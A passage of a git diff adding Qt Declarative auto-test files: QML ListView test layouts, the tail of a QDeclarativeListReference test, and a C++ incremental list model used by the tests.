+}
+
+void tst_qdeclarativelistreference::engineTypes()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, TEST_FILE("engineTypes.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o);
+
+ QDeclarativeProperty p1(o, QLatin1String("myList"));
+ QVERIFY(p1.propertyTypeCategory() == QDeclarativeProperty::Normal);
+
+ QDeclarativeProperty p2(o, QLatin1String("myList"), engine.rootContext());
+ QVERIFY(p2.propertyTypeCategory() == QDeclarativeProperty::List);
+ QVariant v = p2.read();
+ QVERIFY(v.userType() == qMetaTypeId<QDeclarativeListReference>());
+ QDeclarativeListReference ref = qvariant_cast<QDeclarativeListReference>(v);
+ QVERIFY(ref.count() == 2);
+ QVERIFY(ref.listElementType());
+ QVERIFY(ref.listElementType() != &QObject::staticMetaObject);
+
+ delete o;
+}
+
+void tst_qdeclarativelistreference::variantToList()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, TEST_FILE("variantToList.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o);
+
+ QVERIFY(o->property("value").userType() == qMetaTypeId<QDeclarativeListReference>());
+ QCOMPARE(o->property("test").toInt(), 1);
+
+ delete o;
+}
+
+QTEST_MAIN(tst_qdeclarativelistreference)
+
+#include "tst_qdeclarativelistreference.moc"
diff --git a/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
new file mode 100644
index 00000000..5ca1a458
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+ListView {
+ id: view
+ width: 240; height: 320
+
+ property variant addedDelegates: []
+ property int removedDelegateCount
+
+ model: testModel
+
+ delegate: Rectangle {
+ width: 200; height: delegateHeight
+ border.width: 1
+ ListView.onAdd: {
+ var obj = ListView.view.addedDelegates
+ obj.push(model.name)
+ ListView.view.addedDelegates = obj
+ }
+ ListView.onRemove: {
+ view.removedDelegateCount += 1
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/displaylist.qml b/tests/auto/declarative/qdeclarativelistview/data/displaylist.qml
new file mode 100644
index 00000000..9d585302
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/displaylist.qml
@@ -0,0 +1,50 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ property real delegateHeight: 20
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: root.delegateHeight
+ Behavior on height { NumberAnimation {} }
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ objectName: "displayText"
+ text: display
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ },
+ Component {
+ id: myHighlight
+ Rectangle { color: "green" }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ highlight: myHighlight
+ highlightMoveSpeed: 1000
+ highlightResizeSpeed: 1000
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/footer.qml b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
new file mode 100644
index 00000000..33e04f1b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Rectangle {
+ function changeFooter() {
+ list.footer = footer2
+ }
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
+ }
+
+ Component {
+ id: footer2
+ Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/header.qml b/tests/auto/declarative/qdeclarativelistview/data/header.qml
new file mode 100644
index 00000000..38cdd6e0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/header.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Rectangle {
+ function changeHeader() {
+ list.header = header2
+ }
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 30
+ width: 240
+ Text {
+ text: index
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ width: 240
+ height: 320
+ snapMode: ListView.SnapToItem
+ model: testModel
+ delegate: myDelegate
+ header: Text { objectName: "header"; text: "Header"; height: 20 }
+ }
+ Component {
+ id: header2
+ Text { objectName: "header2"; text: "Header 2"; height: 10 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/header1.qml b/tests/auto/declarative/qdeclarativelistview/data/header1.qml
new file mode 100644
index 00000000..f2ab4c12
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/header1.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+
+ ListModel { id: testModel }
+
+ ListView {
+ id: list
+ objectName: "list"
+ width: parent.width
+ anchors.top: parent.top
+ anchors.bottom: parent.bottom
+ model: testModel
+ delegate: Text {
+ objectName: "wrapper"
+ font.pointSize: 20
+ text: index
+ }
+ footer: Rectangle {
+ width: parent.width
+ height: 40
+ color: "green"
+ }
+ header: Text { objectName: "header"; text: "Header" }
+ }
+
+ Component.onCompleted: {
+ for (var i=0; i<30; i++) testModel.append({"name" : i, "val": i})
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/headerfooter.qml b/tests/auto/declarative/qdeclarativelistview/data/headerfooter.qml
new file mode 100644
index 00000000..56338319
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/headerfooter.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.1
+
+ListView {
+ id: view
+ property bool horizontal: false
+ property bool rtl: false
+ width: 240
+ height: 320
+
+ orientation: horizontal ? ListView.Horizontal : ListView.Vertical
+ header: Rectangle {
+ objectName: "header"
+ width: horizontal ? 20 : view.width
+ height: horizontal ? view.height : 20
+ color: "red"
+ }
+ footer: Rectangle {
+ objectName: "footer"
+ width: horizontal ? 30 : view.width
+ height: horizontal ? view.height : 30
+ color: "blue"
+ }
+// model: testModel
+ delegate: Text { width: 30; height: 30; text: index + "(" + x + ")" }
+ layoutDirection: rtl ? Qt.RightToLeft : Qt.LeftToRight
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/itemlist.qml b/tests/auto/declarative/qdeclarativelistview/data/itemlist.qml
new file mode 100644
index 00000000..fca2901e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/itemlist.qml
@@ -0,0 +1,43 @@
+// This example demonstrates placing items in a view using
+// a VisualItemModel
+
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightgray"
+ width: 240
+ height: 320
+
+ VisualItemModel {
+ id: itemModel
+ objectName: "itemModel"
+ Rectangle {
+ objectName: "item1"
+ height: ListView.view.height; width: view.width; color: "#FFFEF0"
+ Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item2"
+ height: ListView.view.height; width: view.width; color: "#F0FFF7"
+ Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item3"
+ height: ListView.view.height; width: view.width; color: "#F4F0FF"
+ Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ ListView {
+ id: view
+ objectName: "view"
+ anchors.fill: parent
+ anchors.bottomMargin: 30
+ model: itemModel
+ preferredHighlightBegin: 0
+ preferredHighlightEnd: 0
+ highlightRangeMode: "StrictlyEnforceRange"
+ orientation: ListView.Horizontal
+ flickDeceleration: 2000
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-enforcerange.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-enforcerange.qml
new file mode 100644
index 00000000..49dbcb38
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-enforcerange.qml
@@ -0,0 +1,55 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ }
+ }
+
+ Component {
+ id: myHighlight
+ Rectangle {
+ color: "lightsteelblue"
+ }
+ }
+
+ ListView {
+ id: list
+ objectName: "list"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ highlight: myHighlight
+ preferredHighlightBegin: 100
+ preferredHighlightEnd: 100
+ highlightRangeMode: "StrictlyEnforceRange"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-initCurrent.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-initCurrent.qml
new file mode 100644
index 00000000..2c4cfab2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-initCurrent.qml
@@ -0,0 +1,51 @@
+import QtQuick 1.0
+
+Rectangle {
+ property int current: list.currentIndex
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ currentIndex: 20
+ width: 240
+ height: 320
+ keyNavigationWraps: testWrap
+ delegate: myDelegate
+ highlightMoveSpeed: 1000
+ model: testModel
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-noCurrent.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-noCurrent.qml
new file mode 100644
index 00000000..19970100
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-noCurrent.qml
@@ -0,0 +1,50 @@
+import QtQuick 1.0
+
+Rectangle {
+ property int current: list.currentIndex
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ currentIndex: -1
+ width: 240
+ height: 320
+ delegate: myDelegate
+ highlightMoveSpeed: 1000
+ model: testModel
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections.qml
new file mode 100644
index 00000000..283678b6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections.qml
@@ -0,0 +1,64 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ objectName: "wrapper"
+ height: ListView.previousSection != ListView.section ? 40 : 20;
+ width: 240
+ Rectangle {
+ y: wrapper.ListView.previousSection != wrapper.ListView.section ? 20 : 0
+ height: 20
+ width: parent.width
+ color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white"
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 100
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ objectName: "nextSection"
+ x: 150
+ text: wrapper.ListView.nextSection
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ }
+ Rectangle {
+ color: "#99bb99"
+ height: wrapper.ListView.previousSection != wrapper.ListView.section ? 20 : 0
+ width: parent.width
+ visible: wrapper.ListView.previousSection != wrapper.ListView.section ? true : false
+ Text { text: wrapper.ListView.section }
+ }
+ }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ section.property: "number"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
new file mode 100644
index 00000000..b2d9213c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
@@ -0,0 +1,69 @@
+import QtQuick 1.0
+
+Rectangle {
+ property string sectionProperty: "number"
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20;
+ width: 240
+ Rectangle {
+ height: 20
+ width: parent.width
+ color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white"
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 100
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ objectName: "nextSection"
+ x: 150
+ text: wrapper.ListView.nextSection
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ }
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "height"; to: 0; duration: 100; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ section.property: sectionProperty
+ section.delegate: Rectangle {
+ objectName: "sect_" + section
+ color: "#99bb99"
+ height: 20
+ width: list.width
+ Text { text: section }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
new file mode 100644
index 00000000..75ddabbb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
@@ -0,0 +1,133 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width: 240
+ height: 320
+ color: "#ffffff"
+
+ property int count: list.count
+ property bool showHeader: false
+ property bool showFooter: false
+ property real hr: list.visibleArea.heightRatio
+ function heightRatio() {
+ return list.visibleArea.heightRatio
+ }
+
+ function checkProperties() {
+ testObject.error = false;
+ if (list.model != testModel) {
+ console.log("model property incorrect");
+ testObject.error = true;
+ }
+ if (!testObject.animate && list.delegate != myDelegate) {
+ console.log("delegate property incorrect - expected myDelegate");
+ testObject.error = true;
+ }
+ if (testObject.animate && list.delegate != animatedDelegate) {
+ console.log("delegate property incorrect - expected animatedDelegate");
+ testObject.error = true;
+ }
+ if (testObject.invalidHighlight && list.highlight != invalidHl) {
+ console.log("highlight property incorrect - expected invalidHl");
+ testObject.error = true;
+ }
+ if (!testObject.invalidHighlight && list.highlight != myHighlight) {
+ console.log("highlight property incorrect - expected myHighlight");
+ testObject.error = true;
+ }
+ }
+ resources: [
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ }
+ },
+ Component {
+ id: animatedDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ color: ListView.isCurrentItem ? "lightsteelblue" : "white"
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" }
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+
+ }
+ }
+ },
+ Component {
+ id: myHighlight
+ Rectangle { color: "green" }
+ },
+ Component {
+ id: invalidHl
+ SmoothedAnimation {}
+ },
+ Component {
+ id: headerFooter
+ Rectangle { height: 30; width: 240; color: "blue" }
+ }
+ ]
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ width: 240
+ height: 320
+ model: testModel
+ delegate: testObject.animate ? animatedDelegate : myDelegate
+ highlight: testObject.invalidHighlight ? invalidHl : myHighlight
+ highlightMoveSpeed: 1000
+ highlightResizeSpeed: 1000
+ cacheBuffer: testObject.cacheBuffer
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/manual-highlight.qml b/tests/auto/declarative/qdeclarativelistview/data/manual-highlight.qml
new file mode 100644
index 00000000..a32a1949
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/manual-highlight.qml
@@ -0,0 +1,47 @@
+import QtQuick 1.0
+
+Item {
+
+ ListModel {
+ id: model
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ ListElement {
+ name: "Bob Brown"
+ number: "555 5845"
+ }
+ }
+
+ Component {
+ id: highlight
+ Rectangle {
+ objectName: "highlight"
+ width: 180; height: 20
+ color: "lightsteelblue"; radius: 5
+ y: list.currentItem.y+5
+ }
+ }
+
+ ListView {
+ id: list
+ objectName: "list"
+ anchors.fill: parent
+ model: model
+ delegate: Text { objectName: "wrapper"; text: name }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/orientchange.qml b/tests/auto/declarative/qdeclarativelistview/data/orientchange.qml
new file mode 100644
index 00000000..c7aa0cd1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/orientchange.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+ListView {
+ width: 240; height: 320
+ delegate: Rectangle { objectName: "wrapper"; width: 80; height: 80 }
+ model: 100
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml
new file mode 100644
index 00000000..04bec59a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml
@@ -0,0 +1,71 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 180; height: 120; color: "white"
+ Component {
+ id: delegate
+ Item {
+ id: wrapper
+ width: 180; height: 40;
+ Column {
+ x: 5; y: 5
+ Text { text: '<b>Name:</b> ' + name }
+ Text { text: '<b>Number:</b> ' + number }
+ }
+ }
+ }
+ Component {
+ id: highlightRed
+ Rectangle {
+ color: "red"
+ radius: 10
+ opacity: 0.5
+ }
+ }
+ ListView {
+ objectName: "listView"
+ anchors.fill: parent
+ model: listModel
+ delegate: delegate
+ highlight: highlightRed
+ focus: true
+ highlightFollowsCurrentItem: true
+ preferredHighlightBegin: 0.0
+ preferredHighlightEnd: 0.0
+ highlightRangeMode: ListView.ApplyRange
+ keyNavigationWraps: true
+ cacheBuffer: 10
+ snapMode: ListView.SnapToItem
+ }
+
+ data:[
+ ListModel {
+ id: listModel
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ },
+ ListModel {
+ objectName: "alternateModel"
+ ListElement {
+ name: "Jack"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Mary"
+ number: "555 3264"
+ }
+ }
+ ]
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelistview/data/qtbug14821.qml b/tests/auto/declarative/qdeclarativelistview/data/qtbug14821.qml
new file mode 100644
index 00000000..e0303eca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/qtbug14821.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+
+ListView {
+ id: view
+ width: 300; height: 200
+ focus: true
+ keyNavigationWraps: true
+
+ model: 100
+
+ preferredHighlightBegin: 90
+ preferredHighlightEnd: 110
+
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ highlight: Component {
+ Rectangle {
+ border.color: "blue"
+ border.width: 3
+ color: "transparent"
+ width: 300; height: 15
+ }
+ }
+
+ delegate: Component {
+ Item {
+ height: 15 + (view.currentIndex == index ? 20 : 0)
+ width: 200
+ Text { text: 'Index: ' + index; anchors.verticalCenter: parent.verticalCenter }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/qtbug16037.qml b/tests/auto/declarative/qdeclarativelistview/data/qtbug16037.qml
new file mode 100644
index 00000000..0756618a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/qtbug16037.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+
+ function setModel() {
+ listView.model = listModel1
+ }
+
+ ListModel {
+ id: listModel1
+ ListElement { text: "Apple" }
+ ListElement { text: "Banana" }
+ ListElement { text: "Orange" }
+ ListElement { text: "Coconut" }
+ }
+
+ Rectangle {
+ width: 200
+ height: listView.contentHeight
+ color: "yellow"
+ anchors.centerIn: parent
+
+ ListView {
+ id: listView
+ objectName: "listview"
+ anchors.fill: parent
+
+ delegate: Item {
+ width: 200
+ height: 20
+ Text { text: model.text; anchors.centerIn: parent }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/rightToLeft.qml b/tests/auto/declarative/qdeclarativelistview/data/rightToLeft.qml
new file mode 100644
index 00000000..1e92bb3c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/rightToLeft.qml
@@ -0,0 +1,42 @@
+// This example demonstrates how item positioning
+// changes in right-to-left layout direction
+
+import QtQuick 1.1
+
+Rectangle {
+ color: "lightgray"
+ width: 640
+ height: 320
+
+ VisualItemModel {
+ id: itemModel
+ objectName: "itemModel"
+ Rectangle {
+ objectName: "item1"
+ height: view.height; width: 100; color: "#FFFEF0"
+ Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item2"
+ height: view.height; width: 200; color: "#F0FFF7"
+ Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item3"
+ height: view.height; width: 240; color: "#F4F0FF"
+ Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ ListView {
+ id: view
+ objectName: "view"
+ anchors.fill: parent
+ anchors.bottomMargin: 30
+ model: itemModel
+ highlightRangeMode: "StrictlyEnforceRange"
+ orientation: ListView.Horizontal
+ flickDeceleration: 2000
+ layoutDirection: Qt.RightToLeft
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/sizelessthan1.qml b/tests/auto/declarative/qdeclarativelistview/data/sizelessthan1.qml
new file mode 100644
index 00000000..77bfef8e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/sizelessthan1.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 0.5
+ width: 240
+ color: ((index % 2) == 1 ? "red" : "blue")
+ }
+ }
+ ListView {
+ id: list
+ objectName: "list"
+ focus: true
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/strictlyenforcerange.qml b/tests/auto/declarative/qdeclarativelistview/data/strictlyenforcerange.qml
new file mode 100644
index 00000000..bb77a77c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/strictlyenforcerange.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+ListView {
+ id: list
+ objectName: "list"
+ width: 320
+ height: 480
+
+ function fillModel() {
+ list.model.append({"col": "red"});
+ list.currentIndex = list.count-1
+ list.model.append({"col": "blue"});
+ list.currentIndex = list.count-1
+ list.model.append({"col": "green"});
+ list.currentIndex = list.count-1
+ }
+
+ model: ListModel { id: listModel } // empty model
+ delegate: Rectangle { id: wrapper; objectName: "wrapper"; color: col; width: 300; height: 400 }
+ orientation: "Horizontal"
+ snapMode: "SnapToItem"
+ cacheBuffer: 1000
+
+ preferredHighlightBegin: 10
+ preferredHighlightEnd: 10
+
+ highlightRangeMode: "StrictlyEnforceRange"
+ focus: true
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/incrementalmodel.cpp b/tests/auto/declarative/qdeclarativelistview/incrementalmodel.cpp
new file mode 100644
index 00000000..1ebb4dc5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/incrementalmodel.cpp
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "incrementalmodel.h"
+#include <QApplication>
+#include <QDebug>
+
+IncrementalModel::IncrementalModel(QObject *parent)
+ : QAbstractListModel(parent), count(0)
+{
+ for (int i = 0; i < 100; ++i)
+ list.append("Item " + QString::number(i));
+}
+
+int IncrementalModel::rowCount(const QModelIndex & /* parent */) const
+{
+ return count;
+}
+
+QVariant IncrementalModel::data(const QModelIndex &index, int role) const
+{
+ if (!index.isValid())
+ return QVariant();
+
+ if (index.row() >= list.size() || index.row() < 0)
+ return QVariant();
+
+ if (role == Qt::DisplayRole)
+ return list.at(index.row());
+ return QVariant();
+}
+
+bool IncrementalModel::canFetchMore(const QModelIndex & /* index */) const
+{
+ if (count < list.size())
+ return true;
+ else
+ return false;
+}
+
+void IncrementalModel::fetchMore(const QModelIndex & /* index */)
+{
+ int remainder = list.size() - count;
+ int itemsToFetch = qMin(5, remainder);
+
+ beginInsertRows(QModelIndex(), count, count+itemsToFetch-1);
+
+ count += itemsToFetch;
+
+ endInsertRows();
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/incrementalmodel.h b/tests/auto/declarative/qdeclarativelistview/incrementalmodel.h
new file mode 100644
index 00000000..09a2bbd1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/incrementalmodel.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
